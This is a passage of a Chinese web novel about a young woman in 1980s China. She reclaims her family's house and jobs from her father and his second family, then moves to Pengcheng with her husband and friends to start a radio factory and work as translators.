温宝昌摔凳子的姿势顿住,缓缓转身,表情已不见癫狂。 哦,他也是装的。 温宝昌扔掉凳子,眼神阴沉沉的,“放了你弟弟,你想要什么?” 温苒朗声回道:“你们搬出房子,我爷爷和我妈留下的工作,还有一千块钱!” 才三十几块怎么够,这父子俩真够抠搜的,三十几块说成一千怎么敢的? 不过既然都这么说了,那就拿出点实力看看吧! 一千块钱?她可真敢开这个口? 温宝昌一脚踹飞刚才扔掉的凳子,脸上的肉一抽一抽的,大吼着:“你怎么不去抢?你休想!” 温苒心想,抢哪有直接要来得快? 得亏是她早有准备,不然今天在她屋里搜出东西来,哪怕只是三十几块钱,这老东西都比敢她胃口还大,房子、工作、现金…… 一千块钱算什么?温宝昌什么不敢要?多少不敢要? 温苒瞥他一眼,态度平静,语气可有可无:“那好吧,就让温志伟去坐牢,他之前陷害我的账还没算呢,我是不介意。” 温宝昌眼前一黑,坐牢志伟这一辈子就毁了! “我现在就去外头揭穿你的真面目,你心思恶毒,陷害你弟弟,还反过来威胁老子给你一千块钱!” 温苒:“?” 温苒木着脸,“你尽管去说,看谁会信你?” 你自己在外面什么名声你不知道吗? 听见这话,温宝昌气得又踹飞一条凳子腿。 他现在纯粹是破罐子里破摔了,知道房子拿不回来,索性就一通打砸全给毁了,反正以后不是他住。 温苒语气轻飘飘的,“你砸坏东西的赔偿另算。” 温宝昌神色一僵,恼羞成怒:“逆女!当初就不该让你生下来!” 温苒立刻回敬:“当初我爷爷就不该救你。” 温宝昌脸都紫了,指着她说不出话来。 该说的都说了,温苒懒得再和他费口舌,她还没吃饭呢。 “没事的话你可以离开了,你砸坏的东西我也不多要,就给二百块钱吧。” 温宝昌眼前又是一黑,瞪着温苒,腮帮子咬得青筋都蹦出来了。 相信要不是旁边有霍骁北在,这老逼登早就冲上来拳打脚踢了。 就像他前阵子对闫春枝做的那样。 最终温宝昌也没办法做什么,只能在心里无能狂怒,然后气冲冲离开。 留下的这一屋狼藉,三家人齐上阵都收拾到半夜。 温宝昌离开大院,径直去了闫春枝和宋爱民租的房子。 他到的时候一家人刚吃完饭,三个姑娘擦桌的擦桌洗碗的洗碗,还有给宋爱民端洗脚水的。 温宝昌看都没看一眼,叫闫春枝出去说话。 宋爱民歪在炕上,看见来人神色淡淡的,之前一口一个爹,现在嘴就跟上了胶水似的招呼都不打。 温宝昌皱眉,果然是养不熟的白眼狼。 既然这样他也不用顾及这人的想法了,直接说道:“温苒她爷和她娘留下的工作得还回去,趁早去人事部办一下手续。” 话音落下,不大的房间里静了静,爆发出不可置信的尖叫: “什么?!” 闫春枝表情扭曲,“凭什么?” 宋爱民坐直绷紧了身体,对温宝昌的不满在此刻到达的顶峰,“我不同意!凭什么你说还就还?这工作我干了这么多年就是我的!” 温宝昌冷笑,“不还?好!那就等着温苒闹到厂领导跟前,话我带到了,怎么办随你,后果也你们自己承担。” 他冲宋爱民丢下这句话,看向闫春枝:“给我滚出来!” 闫春枝脸色白了白,又想到了之前温慧死后的事情。 她安慰宋爱民两句,急匆匆跟上去,“宝昌哥你等等我!” 身后,宋爱民神情阴狠,抬手挥掉了炕桌。 刚收拾洗净的碗筷噼里啪啦砸下去,碎了一地。 陈招娣吓了一跳,惊呼出声。 宋爱民反手就是一耳光,不解气,他蹦下来攥着拳头砰砰就是一顿锤。 三个小姑娘紧紧靠在一起,缩在角落里瑟瑟发抖。 群租大杂院外头的巷子里。 温宝昌将今天的事情告诉闫春枝,“你收拾收拾,去所里看看志伟,让他别害怕,我正在想办法,马上救他出来。” 闫春枝整个人都懵了,反应过来是比刚才更大声更崩溃的喊叫:“贱人我饶不了她!” 她转身就往出冲,温宝昌猝不及防被撞开狠狠砸到墙上,疼得脸都白了。 闫春枝直冲六片儿胡同大院,见着人不是推就是撞,还哇哇嚎着卖惨。 “要逼死人了!温有良他孙女要逼死人了!” “我的志伟啊!志伟你这么这么惨被贱人算计!” 胡同里丁点儿事都能迅速传开,温苒提前就接到好心街坊的报信,知道闫春枝回来给温志伟出头了。 不过这么大阵仗,外头隔着一条胡同这边都能听见跟死了人号丧似的鬼动静,就是没人报信温苒也能提前知道。 本来收拾房间就累得要命,虽然闫春枝会回来闹事有预料,但也实在烦人。 等闫春枝跌跌撞撞来到跟前,顶着乱糟糟的鸡窝头扑在地上撒泼时,温苒只冷冷道:“你再胡搅蛮缠,我拒不接受私了,还会向温志伟的学校举报他的偷盗行为。他拿不到高中毕业证,就参加不了高考,有犯罪记录也没有厂子愿意要他。” “而温志伟会有这样的下场,不是我造成的,全是你这个亲妈逼得!” 道德绑架那一套当谁不会似的? 对温宝昌她在人前需要示弱博取同情,但对闫春枝这个害死她母亲的罪魁祸首,她必须要多冷漠就多无情。 闫春枝尖锐的哭嚎顿了顿,下一秒却出乎温苒的预料,她不仅没有消停反而声音还越来越大。 “你们要逼死人你们要逼死人 啊!贱人!你就是见不得志伟好你想毁了他!我不会放过你的!” “你没听见小苒的话,你再闹才是对你儿子不好呢!” 围观邻居上前劝她,闫春枝软硬不吃,挥舞手臂将人打开,指着人群大骂:“呸!我呸!你们、你们都跟那贱人是一伙的!她给了你们好处!蛇鼠一窝!” 温苒皱眉。 不应该啊?就算温宝昌心疼钱,所以叫闫春枝过来闹,也不会不知道好歹吧? 钱重要还是温志伟的前途重要当父母的会不明白吗? 等等! 温苒想到什么,仰头望向身旁的霍骁北。 难道是因为宋爱民?因为她不止要钱,还要了两份工作? 早就怀疑宋爱民的身世有问题,眼下正好是个试探的机会。 温苒眼睛转了转,抬高声音:“你闹吧,正好上次你另一个儿子宋爱民诬蔑我爱人的事情还没完呢,改天我就去找厂领导做主,把这事好好在厂里宣传宣传。” 比起刚才的威胁,这个可以说不算什么了,然而闫春枝就像被掐住嗓子的鸭子,一声也发不出来。 这截然相反的反应,温苒一看就明白了。 闫春枝心里,两个儿子当中宋爱民比温志伟重要。 不。 或许应该是,闫春枝心里,宋爱民他爹比温志伟他爹重要。 第25章 第25章八零回城知青25 闫春枝最后灰溜溜地走了。 她怕了。 看温苒回城后发生的这些事,死丫头是真能说到做到,去厂里闹事让爱民身败名裂。 留得青山在,不怕没柴烧,走就走! 闫春枝走得爽快,但她打定主意了,就不还工作。 就算要还,也得把分房的名额占了再还,死丫头别想落好! 到时候爱民有了房子,再让温宝昌掏钱给买份工作,爱民就什么都有了。 闫春枝回到租的大院,告诉宋爱民,让他赶紧找门路让厂里把他的分房名额定下来。 宋爱民脑子一转就明白了他妈的打算,他紧皱着眉头,“工作不还又能怎么样?我也在厂里干了十多年了,没有功劳也有苦劳,就算闹到厂领导面前也不能一句话就把我工作抢了,这不是寒了工人们的心吗?” 讲真的,整个厂子有多少工人是正经考进来的?又有多少工人是正经从爹妈手上接过来的班?这些才能占多少? 就宋爱民知道的,就有不少是夺是抢是算计来的工作! 他正儿八经接班又干了这么多年,要是他的工作都能被一句话夺走,这些人能干? 宋爱民把这些想法告诉闫春枝,闫春枝也觉得有道理。 但是,闫春枝反问:“你能让那些人站在你这边为你出头?” 宋爱民一下子说不出话来,当然不能!他们自己屁股都不干净呢,肯定夹着尾巴缩得死死的,又怎么会为他出头? 闫春枝道:“咱们只要分房的名额,工作我再劝温宝昌给你买一份,也没差多少。” 宋爱民被说服了,有工作有房子,跟他一开始想的一样。 母子两个盘算得头头是道,哪承想第二天上班,温苒就给她们来了个釜底抽薪。 ——她带着派出所所长、街道办徐主任以及胡同里七八个说得话上的邻居长辈,直奔通机厂,找到了厂书记办公室。 这阵容都没让周伯伯出面,登记完了门卫大爷叫保卫科巡逻的人带他们进厂,一路畅通无阻。 事先和厂书记通过气,所以书记一听温苒的身份就明白了她的来意。 他招呼大家去会议室,让助理去请另外三个当事人。 车间里的温宝昌、宋爱民,办公室里的闫春枝一听是书记找,个个都懵了。 一头雾水的三人在半路碰上,结果互相一问都不清楚,就更纳闷了。 等到了会议室,门一开,温苒笑盈盈望过来的时候,三人脑子嗡的一声,心里翻起惊涛骇浪。 她真的来了! 温苒开门见山,“我和我爱人来办接班手续,我爷爷和我妈留下的两份工作在闫春枝和宋爱民同志手上,所以要麻烦两位配合一下。” 她不提温宝昌,但她却频频看向对方,眼神暗示咱们说好的。 温宝昌深深吸气,拳头攥紧又松开,眼前阵阵眩晕。 工作工作!就这么点事不是都说好了?至于这么大阵仗闹到书记跟前?!她是非要和自己鱼死网破吗? 温宝昌咬紧后牙,“这件事我还没来得及告诉他们,你就这么着急,为了你那点事都闹到书记跟前了?简直胡闹!不知轻重!” 闫春枝瞪着温苒,嗓音尖锐:“不让你接班我们都是为了你好!你初中都没毕业,就算接班进厂也就是做些打杂的工作,哪有我和爱民的工资高?家里这么多张嘴要吃饭,你就不能多体谅体谅我们吗?” 有这俩人冲在前头,宋爱民躲后面瞪着温苒,神色阴沉,拳头捏得嘎巴嘎巴响。 温宝昌和闫春枝一个指责温苒小题大做,一个说温苒自私不懂事,温苒不是来和她们打嘴仗的,扯皮只会浪费时间,她今天就一个目的:拿到工作! 温苒转向书记,“书记,关于我爷爷和我妈留下的两份工作,厂里应该有交接记录。另外我们片区派出所的所长、街道办徐主任和几位老邻居也都能作证,现在闫春枝和宋爱民的工作原本属于我爷爷和我妈。” 书记点头,“我知道,我已经让人去人事部主任了,她自打建厂就在咱们厂工作,这个事问她最清楚。” 见温苒根本不搭理她们,温宝昌和闫春枝差点儿气个仰倒。 工作不工作的温宝昌不在乎,他在乎的是温苒这死丫头让自己在书记跟前丢了面子! 但闫春枝在乎啊! 没了工作怎么分房啊?分房要看工龄,临时买一份是铁定分不了房的!难道要让爱民一直在外头租房住吗? 闫春枝拽着温宝昌出来,语气急促:“温宝昌你想想办法!她都闹到厂里来了,再不管管她要翻天了!” 温宝昌挥手甩开她,“我能管得了?” 闫春枝瞪大眼,音量瞬间拔高:“那怎么办?” 怎么办? 温宝昌捋着半皱的袖子,一副事不关己的态度说道:“还能怎么办?待会儿你们老老实实把工作还回去。” 一直沉默的宋爱民突然大吼,猛地挥拳砸向墙壁,“我不同意!” 温宝昌冷笑,瞥他一眼,嘴角挂着讽刺的弧度,“你不同意能有什么用?书记同意就行,再说本来这工作就不是你的啊——” 温宝昌话没说完,就被一记拳头掀翻,撞到了会议室大门上,砰地发出震响。 凸出来的门把正好杵在他后腰上,他脸色登时煞白,滑倒在地上一下都动弹不得。 闫春枝当场爆发出尖叫,手掌捂着嘴唇,浑身发抖往后退。 宋爱民还保持着动手的姿势,拳头握紧,双眼猩红,死死瞪着温宝昌,牙齿咬得咯咯响。 这么大动静一下子就吸引了众人的注意。 保卫科迅速围上来,两个擒住宋爱民,一个上前询问温宝昌的情况。 温宝昌有点儿不对劲,脸上冷汗直冒,哆嗦着嘴唇话都说不出来,似乎伤得还挺重。 保卫科拿来担架,把人送去了医务室。 会议室里,众人面面相觑。 啊这?这咋还内讧了? 书记处理完这件事回来会议室,“工作交接没有双方一定同时在场的规定,待会儿人事部主任过来,她先带你们办手续。” 至于那俩人的实在好办。 书记虽然回来厂里不久,但厂里各部门那点事他知道得大差不差,宋爱民工作上失误多次让厂里蒙受损失,闫春枝在会计室对账小偷小摸更是不少。 这对母子大错没有小错不断,追究起来够她们 喝一壶的。 温苒也是没想到事情最后会这么顺利。 她和霍骁北来一趟通机厂,转眼就成了厂里的工人,下周过来上班。 离开厂子时刚好是午饭点,温苒和霍骁北就请今天帮忙的邻居和两位领导去饭店吃饭。 午饭后两人溜达着去了通机厂大院,把工作到手的事情告诉了红梅姨和周伯伯。 工作都到手了,分房一点问题也没有。 据说认购房子的价格也不贵,八十平大概要千百来块,要知道这可是没有公摊面积的八十平。 回到大院,距离上班还有两三天,碍眼的人也都不在了,霍骁北琢磨着把房子好好捯饬捯饬。 地板重新铺,墙重新粉刷,刷好贴墙纸。 墙纸系统出品,防风保暖隔音防火反正好处多多。 再然后还在南屋后头砌了间浴室,可惜厕所一时半会儿装不了。 大杂院解决个人问题那叫一个麻烦,都得去胡同口的公厕,每到早晨晚上人挤人堪比后世春运。 加起来工程量着实不小,曲家父子仨下了班过来帮忙,都比预计的时间多了两天。 这个星期头两天,第一天去厂里报道,温苒顶了闫春枝在会计室的工作,因为厂里分房和月末工资核算的事情比较忙。 霍骁北本来被安排去车间,不过还没一个上午呢,他就自己寻摸着了门路,进了保卫科。 保卫科是通机厂的执法部门,权利还不小,工资和福利也比一般工人高,给配木仓,一年四季还有四套制服。 霍骁北身高腿长,穿上制服后那叫一个盘靓条顺夺人眼球,把曲平安一个一米七八整块腹肌的小弱鸡都给羡慕哭了,嚷嚷着早知道他也去当兵。 自从三人都要上班,霍骁北每天早上都会准备盒饭,一人一份当晌午饭。 虽然说红梅姨一直让她们俩过去吃饭,但周新杰不是在准备高考么,她们一直过去打扰也不是个事,偶尔去一两次就成。 晌午下班,温苒收拾好桌面,锁上抽屉离开办公室。 外面楼道霍骁北拎着饭盒等她,她一出来他就上前牵住她的手。 两人一起往外走,霍骁北说道:“温宝昌回来上班了。” 温苒惊讶,“这就好了?不是说很严重吗?” 听说温宝昌在医务室躺了两天都下不了床。 温苒还意思意思,上班第一天去医务室送了一兜苹果,不过她没进去只让护士转交。她不好在外人面前给温宝昌难看,她只是个小可怜呢。 走到长椅前坐下,霍骁北打开饭盒递给她,“宋爱民没了工作,他总要吃饭,就看上了温宝昌手里那份。” 温苒:“……” 呃不是,温宝昌这样可都是因为宋爱民那一拳啊,他凭什么以为温宝昌会把工作给他?温宝昌有亲儿子温志伟啊! 这时,霍骁北意味深长来了句:“温志伟还在派出所,只要温宝昌永远下不了床,工作就算不会是他宋爱民的,也会是闫春枝的。” 第26章 第26章八零回城知青26 闫春枝都能帮宋爱民截胡房子,那工作是她的还是宋爱民的有区别吗? 温苒震惊到瞳孔颤了颤,她都没想到还有这种办法呢! 不过,“温志伟真的是闫春枝亲生的吗?” 还是说闫春枝嫌弃温宝昌,所以连带着不喜欢温志伟。 温苒摇摇脑袋,不想这个,这个跟她又没多大关系。 她现在纠结的是,到底是拿一千块钱买房,还是看着温宝昌被闫春枝和宋爱民算计工作? 温志伟可还在派出所关着呢,温宝昌答应她的一千块钱因为他进了医院现在还没给。 要是这时候温宝昌发生点什么,譬如着了闫春枝母子的算计下不来床,别说一千块钱他自己吃喝拉撒都不定能保证,想救温志伟也有心无力。 温苒思考着,觉着可以催催温宝昌赶紧拿钱。 相信在温志伟出来前,闫春枝和宋爱民一定会抓住机会动手的。 这样她既有钱拿,又有好戏看。 快速吃完盒饭,温苒拉着霍骁北去找温宝昌。 温宝昌在车间外的休息室里,捂着腰靠坐在椅子上,神色痛苦。 几个年轻男同志一个蹲在他跟前递水,一个扶着他给他揉腰,还有一个捧着饭盒等他张嘴。 温苒:“……” 新华国了,还搞这一套师父徒弟的老传统啊?温宝昌你当年也没有这么对过你师父我爷爷吧? 不过温宝昌这样子,情况是真不怎么样。 温苒满级医术,一看就知道这是伤到根本了,拖着不治且等着熬成大病,就是没有别人算计往后也下不了床。 温宝昌现在难受得要命,后腰跟像有针扎又拿火燎似的,看到温苒也没那个心思生气。 只要不是宋爱民那狗崽子到他面前,温宝昌现在提不起一点儿别的劲来。 就着徒弟端到跟前的搪瓷缸子,温宝昌低头抿了口水,看向温苒,“说吧,什么事?” 温苒嘴角抽了抽,委婉道:“温志伟还在派出所,你还记得吧?” 温宝昌他又来劲儿来,不来劲儿不行,那可是一千块钱! 这死丫头就是来讨债的! 他蹭一下坐起来,结果刚一动就抻着了腰上的伤。 “嗷——” 一声惨叫传得整个走廊里的人都听见了。 温宝昌跌回去,砸在旁边他徒弟身上,直愣愣地挺着没法动弹。 几个徒弟一看这情况就慌了,六神无主地望向温苒。 温苒:“……” 温苒咬着舌尖憋笑,拉着霍骁北走到一旁让路,“先送医务室吧。” 于是刚出院半天,温宝昌又被着急忙慌地送了回去。 温苒又想笑又觉得可惜,那一千块钱看来是拿不到了。 还有个完蛋事,她小可怜人设这下还不知道保不保得住。 闫春枝和宋爱民的动作比想象得迅速,这星期还没到头呢,霍骁北巡逻的时候就见闫春枝和宋爱民从医务室带走了温宝昌。 转天,霍骁北就听同事说这母子俩去了人事部办工作交接手续。 再一打听,正好是温宝昌的工作。 温宝昌六级钳工工资将近九十块,宋爱民接班后工资得从最低一级开始往上涨,一月三十块钱。 就这一家子花钱大手大脚的劲头,估摸俩星期不到就得喝西北风。 曲平安在胡同附近打听了一下,温宝昌出院后被安置在了宋爱民租的房子隔壁,听那院里的租户说是宋爱民家三个丫头在照顾温宝昌。几个孩子能照顾得多周到,连人都扶不起来,温宝昌起不来,吃喝拉撒都在炕上,现在那屋子臭烘烘的。 曲平安感叹:“这就是报应!” 温苒从一堆零件中抬起头伸了个懒腰。 可惜,这下她的一千块钱是真的没有指望了。 至于温宝昌,他这个下场虽说不在温苒意料之中,但细想下其实并不觉得意外。 温宝昌当年把这对母子带回来鸠占鹊巢,如今却被这对母子算计得渣都不剩,只能说恶有恶报。 想起还在派出所被所有人遗忘的温志伟,温苒觉得自己这个便宜姐姐可以发一下善心把他放出来。 等温志伟出来,看到房子没了,亲爹瘫痪,亲爹留下的工作被亲妈略过他,给了同母异父但一直不对付的大哥,而他却被忘在派出所无人关心,他悲愤之下又会做出什么事情来? 唉,再就是没了额外收入得想个办法赚点别的钱,温苒拿过今天的报纸翻找,在角落里发现一则出版社的翻译征文广告。 看到稿费价格,温苒觉得可以喊上霍骁北试一试。 四月底,温苒领到了这月的工资。 与此同时厂里下了通知,五月初三开始分房认购,有意向的工人带着证件去后勤部报名,并在一个星期内把钱交到会计室。 这次厂里分房采取的是出钱认购和福利分房并行的方式,前者能拿到房产证明,后者工人们只有居住权。 当然,现在工人们对居住权和所有权分得没那么清楚,不花钱就有房子住肯定比花钱实惠。 温苒和霍骁北挑了个日子去后勤部报名,又到会计室把钱 交了。 没有温宝昌贡献的一千块,这次用的是卖手表收回来的钱。 先交钱先分房,半个月后温苒和霍骁北就拿到了房子和房产证明。 简单布置一番,两人去红梅姨家吃饭,还给周新杰带了一套练习册。 在家属院住了几天,周末两人回六片儿胡同,第一件事就是去派出所把温志伟放出来。 曲胜利咂摸咂摸嘴,他显然也知道温宝昌最近的下场,那现在就是个屎盆子,谁接了都染一身臭。 既然不能让小苒接,让温志伟这个亲儿子接显然不错。 曲胜利语气遗憾,“温宝昌这老小子手里头攒不少呢,以前你爷爷去外头出公差的活儿差不多都落他手里了,没趁这个机会抠他一笔可惜了了。” 曲胜利去找所长商量放人的事,温苒和霍骁北离开派出所往回走。 霍骁北道:“温宝昌的东西他还没拿,都堆在北屋。” 温苒眼睛一亮,拽着他匆匆跑回家。 北屋翻修过,把炕扒了换成了木床。 那天温宝昌走得匆忙什么都没带,结果第二天就被宋爱民一拳砸进了医院,刚出院不到一天又进去了,然后就被宋爱民和闫春枝接到了出租房,是以他还没来得及搬走他的东西。 温宝昌的东西随意塞在一个木柜子里,随意一翻,温苒就从一件衣服里抖出来两张存折。 一张两千一张三千,这也不多啊! 不过想到从温宝昌到闫春枝和温志伟再到宋爱民这个继子手上都带着红旗牌手表,之前家里还三辆自行车,温苒就没那么奇怪钱都到哪里去了。 算了,这点就这点。 没两天,温苒的集成电路收录机做出来了。 外形美观,功能多样,能无线收听也能放入磁带录音,还能保存三个固定频道。 以防万一,温苒又组装了第二台,证明第一台收音机不是偶然,也证明这个电路是可行的。 时间进入五月下旬,温苒三人开了个会,商量后决定是时候为去鹏城做准备了。 三人行动起来。 霍骁北和曲平安去找林朝阳,向他预定了一批零件,这次动用了温有良留下的存折。 当场就把林朝阳震懵了,不是,他没听错吧?他这朋友不是在骗他玩的吧? 霍骁北解释:“我和温苒打算去鹏城发展,办收音机厂。” 林朝阳脑子还有点转不过来,“办、办厂?钱够吗?就你们几个?” 曲平安笑嘻嘻的,随口回道:“到了鹏城肯定还要招人,就我们几个当然撑不起一个厂子,要不你也来?” 他懂林朝阳此时此刻的感受,他一开始听说要办厂也觉得不可思议甚至是天方夜谭。后来隔几天开次会,他被小苒和北哥带着弄那什么办厂计划书,就知道这俩人是有大本事的,他心里有底就一点也不慌了。 他啥也不懂,反正小苒和北哥怎么说他就怎么做呗。 曲平安随口一句,哪知道林朝阳沉默了片刻,竟然就点了头,“行啊!我没问题!” 曲平安:“?!” 不是你醒醒,你大学毕业,你还是个干部! 但林朝阳打定主意要跟她们南下去鹏城,他现在在厂里过得不上不下,转不了研发岗,管理岗又有老人在上面堵着,还不如出去试一试。 林朝阳看向霍骁北,抛出优势:“我虽然是后来的但不让你们吃亏,我可以出钱,对车间生产流程也有一定了解,京导厂这边我也有关系。” 霍骁北轻笑,“欢迎。” 于是,在南下去鹏城之前,合伙团队新增一名强有力的队友。 这边温苒和霍骁北紧接着又去家属院找红梅姨,拎上了组装的收录机,把要去鹏城的事情告诉她。 她和周伯伯震惊之余,却也没有多说什么,只让她别急着把工作辞了,往后总归是个退路。还有厂里的房子也让他们放心,掏钱买的没人能抢走。 关于办厂的事,周爱民问了几句,又说了些他的管理经验,还告诉温苒让她有什么不明白的尽管打电话,他找人去问。 离开前,红梅姨还想偷摸给她塞存折,被温苒发现,又偷摸给她放了回去。 钱她是真不缺,也有办法能赚到,不过是在长京市一时半会儿没办法施展拳脚罢了。 红梅姨家也不是多宽裕,三个儿子下乡回来,结婚、工作、房子各个都是不小的负担。 半个月后,温苒和霍骁北办理了停薪留职,出发去鹏城前三家凑在一起吃了顿饭。 饭桌上,曲胜利道:“房子我们帮你看着,谁来都抢不了,你们两口子放心就是。” 潘老太叮嘱:“到了那边记得打电话,有困难也别硬扛,说出来咱们大家一起想办法一起使力气!” 赵老太也不放心,“平安你记得听你小苒妹子的话,别成天咋咋唬唬的,你在外头得担起事来!” 曲平安他娘就一句话:“甭管赚了陪了,平安你记得挑个时间回来相亲,把事给办了。” 曲平安过了今年生日就二十三了,还没结婚实在让曲胜利两口子放心不下。 曲平安:“……” 曲平安连忙转移话题,“温志伟跑了,你们知道吗?” 第27章 第27章八零回城知青27 曲胜利抿着小酒哼了一声,“你要不要看看你老子做什么工作的?” 他!派出所副所长!他啥事不清楚? 曲平安讪讪摸头,把这事给忘了。 温苒好奇地张望,“什么事?” 她是真不清楚,她最近忙着搞翻译,昨天得空好不容易把稿件送到出版社。 时下到往后二十来年,人工翻译都属于高薪职业。 翻译稿酬千字以元为单位,温苒之前寄过一则短篇小说翻译,八千字出版社给出了八十块的报酬。 这次是两部长篇小说,她和霍骁北一人翻译一部,总计大概五十万字,按照千字十元的价格稿费就是五千元稿费。 曲胜利回道:“前两天的事,当时我在所里值夜班,大半夜的被喊过去处理事情,还都是熟人。” “何德民去找温宝昌,不知道发生了什么要强迫闫春枝,给温志伟撞见了,他拿火镩捅了何德民……咳、后面一下,还没完,给何德民前面也来了一下。人现在还在医院里躺着,大夫说是废了。” 温苒:“……” 闹成这样何德民肯定不会饶了温志伟,何家又不会想她一样愿意放温志伟一马,所以温志伟怕了,然后就跑了? 曲平安偷偷觑了他北哥一眼,难道北哥没告诉小苒? 温苒没多想,何德民个老色鬼会对闫春枝动手动脚也不奇怪,落到这个下场只能说跟温宝昌一样恶有恶报。 曲平安小声说:“我听说,温志伟跑之前偷走了宋爱民认购房子的钱。” 温苒下意识开口:“宋爱民还有钱?” 宋爱民工资又不高,一直靠闫春枝这个亲妈抠继父温宝昌的钱养,他哪来的钱认购房子? 闫春枝更不用提,她在会计室小偷小摸不少,还勾搭了厂里一个干部,多少钱都不够她花,她就是有存款也存不住。 这个曲平安知道,“和人借的!” 听见这话,温苒心想,这下温宝昌可惨了。 那边如何鸡飞狗跳,拿到了房子和工作即将奔赴鹏城创业的温苒并不怎么关心。 六月九号,一行人踏上了去鹏城的火车。 十一号中午,火车到达羊城,休息一晚,次日搭大巴车前往鹏城。 此时的鹏城刚刚确立经济特区,河对岸的商人们嗅到商机,大批涌向这个小渔村。 不久之后,在这片土地上宾馆、小区、工厂就会如雨后春笋一般生长出来。 到鹏城的第一周,四个人到处转了转。 小渔村正处于开发建设 的最初期,和长京市不能比,和来时火车路过的沪海市也不能比,但这不妨碍人们看到它的潜力。 可潜力是潜力,现实是现实,现在的鹏城真没什么可转的,就连宾馆都只有两家。 除了灰扑扑的低矮房子,也就几处工地值得看一看。 也只仅限于看。 鹏城当地的方言和粤语有些相似,温苒能听个大概,霍骁北三个就麻爪了。 于是头一个星期温苒还给三人开了方言教学课,晚上教白天练,至少常用语都得能说会听。 转悠了几天,外加跟宾馆的工作人员打探消息,温苒才发现如今踏入鹏城的投资商几乎都是港商,而外商大多数还在观望中。 当然不是说没有,至少温苒在下榻的酒店里就碰到过一群洋人面孔,为首的中年男人被宾馆经理称作‘威廉’先生。 虽然那位威廉先生姓伍德。 威廉先生来自美国,是一名饮料。 很不巧,他团队里的香江翻译水土不服生病了,而政府这边的翻译水平又不咋地,威廉先生和鹏城政府的合作只好暂时中断。 是个机会,温苒果断让霍骁北先上,拿下这个人脉,顺道赚点外汇。 林朝阳和曲平安四眼茫然,不是,北哥啥时候会说英文了? 他们不懂,他们害怕! 因为霍骁北回过头,眼神落在了他俩身上转了一圈,就跟掂量白菜似的,最后选了林白菜,下巴朝他一抬,说:“你跟我一起。” 林朝阳眼神惊恐,林朝阳两手狂摆,“不不不!我不会英语!我连听都听不懂!” 霍骁北捞起外套让他别废话,“不会才要学,你跟我一起,平安让小苒带。” 曲平安瞳孔地震,咋还有他的事啊? 他扭头求助温苒,温苒点了点头,“办厂经商以后少不了和外国人打交道,趁现在有时间赶紧学会,你们也不想以后耽误厂里的发展吧?” 温苒和善微笑。 曲平安和林朝阳吞了吞口水,一时间坐立难安,他们俩很想说这不是你俩会么,但到底脸皮没那么厚,知道不能全指望这两口子。 最后,林朝阳蔫头耷脑地被霍骁北邻走了。 林朝阳比霍骁北还大一岁,也随着曲平安一口一个北哥,据他悄悄跟温苒说他觉着霍骁北很像他爸,而他在他爸跟前屁都不敢放一个。 房间里剩下曲平安,他小太监似的殷勤给温苒端茶送水,“小苒,我看咱这儿好像就一个美国商人,我这嘿嘿……” 曲平安搓着手,表情写着‘赚大了’,语气却很为难一副‘可不是我不想进步是我没有进步的机会啊’! 温苒抿了口水,笑眯眯道:“还有个倭国商人。” 曲平安:“……” 曲平安闭了闭眼,视死如归道:“那还是整英文吧!” 英文是要整的,倭国话也是要学的。 收录机不难生产,采买零件,人工组装,但这种毫无技术含量毫无竞争力的厂子谁来都能办,还不如不办呢。 所以温苒的计划里,电器制造只是厂子其中一个经营范围,核心业务至少是初期的核心业务应该放在零件研发和制造上面。 研发先放到一边,零件制造需要机床,机床制造领域当前又以倭系和德系两家为主。 德国远在欧洲,就算能买到不说运费高低,光是运输时间恐怕都要三五个月。 加之目前鹏城并没有德国商人的身影,购买机床还得先跑一趟欧洲才行,粗算下来其中花费的时间金钱都是不可估量的成本。 而倭国的地理位置在这儿,无论如何得先有条人脉。 考虑到宾馆里这位小野寺先生几乎是第一位踏入特区的倭国商人,想来是真心实意来华投资,商人嘛,能赚钱都好商量。 天擦黑时,霍骁北带着林朝阳回来了。 曲平安正对着收录机里温苒的教学音频死磕,看到俩人当场泪奔,“我以前高考有这劲头早就是大学生了!” 经过一天英文洗礼的林朝阳两眼发直,“我要有这劲头我说不定能上长华长京!” 两个学渣对望一眼,他们真可怜! 温苒看向霍骁北,“怎么样?” 霍骁北放下手里拎的盒饭,“今天跟伍德去鹏城政府谈合作,见到了招商局的陈副局长,过两天对方要接待倭国商人的考察。” 按理说特区招商局副局长这个级别很高了,加上现在摸着石头过河上上下下一堆事,是不需要他姿态放得这么低,来一个外商就亲自接待一个外商的。 但说到底是没底气,需要人家的钱来投资建设,而自己这边还给不了什么东西,只能客气地对待。 陈副局长需要一名水平不错的倭语翻译,霍骁北向他推荐了温苒。 转天四个人一起出门,一天的合作谈完,被陈副局长留下来在食堂里请了顿饭。 “小霍你之前在西北部队,我听你们首长说你发展挺好,为什么选择转业?”陈副局长以唠嗑开始了打探。 霍骁北给媳妇儿夹了筷子菜,回道:“我爱人是长京人,下乡时只有十四岁,她被生父和继母逼迫下乡……” 听完一场凤凰男恩将仇报的大戏,陈副局长饶是自认见过大风大浪还是免不了目瞪口呆。 他张张嘴,干巴巴安慰:“小温你……小霍是个好同志……” 提起伤心事,温苒红了眼圈,但神色倔强坚强,抿抿唇角掩饰性地低下头。 林朝阳也跟着红了眼圈,他也是才知道温苒家里是这情况,你说这人咋不早跟他说,他还能帮忙呢! 曲平安木着脸狂扒饭,哼,人不会在同一个坑里跌倒很多次的,他这次就没被骗! 陈副局长又接着打听了些信息,譬如这么流利的英文是跟哪学的啊? 他跟西北军区打听到的,霍骁北是烈士子女,孤儿,打小在部队长大,高中毕业就参军,虽然人确实有能力,但从没听说过会英文。 ——虽然霍骁北已经在尽力把口音讲得蹩脚,但他上辈子说了几十年伦敦腔实在一下改不过来,尤其是跟招商局那几个磕磕绊绊的翻译相比,一下子就凸显出来他的高水平。 霍骁北就解释,是跟他媳妇儿学的。 陈副局长询问的眼神紧接着就落在温苒身上,温苒不好意思道:“小时候学校有英文课,我爷爷的朋友有几位是大学里的教授,我也跟她们学过一阵。” 陈副局长虽然不知道温有良,但知道林朝阳他爹和他大哥,打个电话一问就清楚,温苒这说法过得去。 既然如此,陈副局长就决定让这几个参与到外商接待中来。关于报酬她们可以两边拿,另外他们想要办厂,招商局这边也会适当地给予方便。 可以说有了陈副局长这条人脉,温苒等人也有了光明正大和一众商人接触的机会。 第28章 第28章八零回城知青28 霍骁北带林朝阳为美国饮料商伍德先生做随身翻译的一周后,正式确定了和鹏城政府的合作方案,两方正就某些条款进行敲定。 而温苒这边,她和曲平安作为鹏城招商局的翻译人员接待了那位小野寺先生。 